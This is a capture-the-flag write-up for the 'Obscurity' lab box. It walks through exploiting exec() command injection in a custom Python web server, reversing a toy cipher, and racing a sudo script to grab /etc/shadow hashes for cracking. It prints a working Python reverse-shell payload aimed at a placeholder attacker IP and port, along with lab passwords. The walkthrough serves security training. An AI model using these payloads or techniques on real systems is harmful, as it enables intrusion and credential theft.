Obscurity is my first medium box so I was very happy when I got that
Custom Python web server, get source code, get revserse shell, crack user password for custom encryption system, use john to privesc.
To make things easier, I added the box to my
Let’s start with nmap to discover the open ports :
> nmap -A obscurity.htb -o nmap.out
So we got so far SSH and HTTP server running on the machine.
On the port 8080 we can see the web server which indicates that it is hand-made with custom code.
If you use custom code, you can’t have CVE’s on it. So your code is 100% secure.
By reading the content of their homepage, we get a good hint : they are hosting the source code on the server. We have to find
SuperSecureServer.py ont it !
The easiest way I found on the moment was to fire up Burpsuite and use a directory wordlist.
By making a first request to the webserver, I sent it to Burp’s intruder in sniper mode. Using a simple directory wordlist (
common.txt) I placed the payload’s position as
GET /§a§/SuperSecureServer.py, launched the attack and waited for burp to get a 200 response code.
The source code is at
By reading the code, I found that during the document serving process, the
exec() function is called.
def serveDoc(self, path, docRoot):
After understanding when the exec was called, I injected a python reverse shell payload. Basically this is a command injection through format string, string which got evaluated right after. The payload we could manipulate was directly the path we GET on the server. My final payload for the reverse shell was :
GET /';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
This payload works because :
- The first
'is used to break the string generated by the format string
;to inject a new python code between
- The last
'is to make an empty string with the single quote from the source code, otherwise an error is raised
So I just launched a netcat connexion listenning on my machine, and made a request on the server with the payload to get the shell.
The reverse shell we have is as
www-data, we need to privesc as a regular user.
We know that user
robert must be the user we need to privesc as. We need to investigate it’s home directory.
We got a bunch of files here, some are pretty interesting, especially the Python script.
By examining it, we understand that Robert uses a custom password manager, stores it’s “encrypted” password in a file, and tested it’s encryption passphrase on a dummy text file.
First thing I did was to BF it’s password using the famous rockyou. But it was unsuccessfull, I managed to get something close to it’s password, but not the actual password.
After thinking about the encryption and decryption algorithms, I managed to get the real password.
To use the Python script :
python SuperSecureCrypt.py -i infile -k key -o outfile will “encypt” the content of infile with key into outfile. To decrypt we have to use the
As the encryption and decryption where very simple :
def encrypt(text, key):
The easiest way to get the password was :
python SuperSecureCrypt.py -d -i out.txt -k "$(cat check.txt)" -o pass.txt
The encryption password was
python SuperSecureCrypt.py -d -i passwordreminder.txt -k alexandrovich -o robert.txt
Robert’s password was
SecThruObsFTW, we can SSH as him and get the
We now need to go root. As robert :
> sudo -l
So yeah, we know where to start. We now need to know how to exploit this BetterSSH.py script.
By reading the first lines, we know that it reads the
/etc/shadow file, and write it’s content into a file somewhere in
/tmp/SSH/. The script prompts for a username and password, if the password’s hash does corresponds to the shadow one, it gives a shell as this user.
I started to find a fancy way to monitor the content of the
/tmp/SSH/ folder, but a simple bash script can do anything :
I launched the script in background, launched the BetterSSH script too, and read the content of my
/tmp/.ninja file. We get most of the users’ hashes, separated by lines, but only one matters for us. Root’s hash was
Using john the ripper on the hash, we get root’s password :
mercedes. I could have SSH back as root, but there is already a tool for us :
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py, entered
root for user, and
mercedes for password, we now have a shell as root.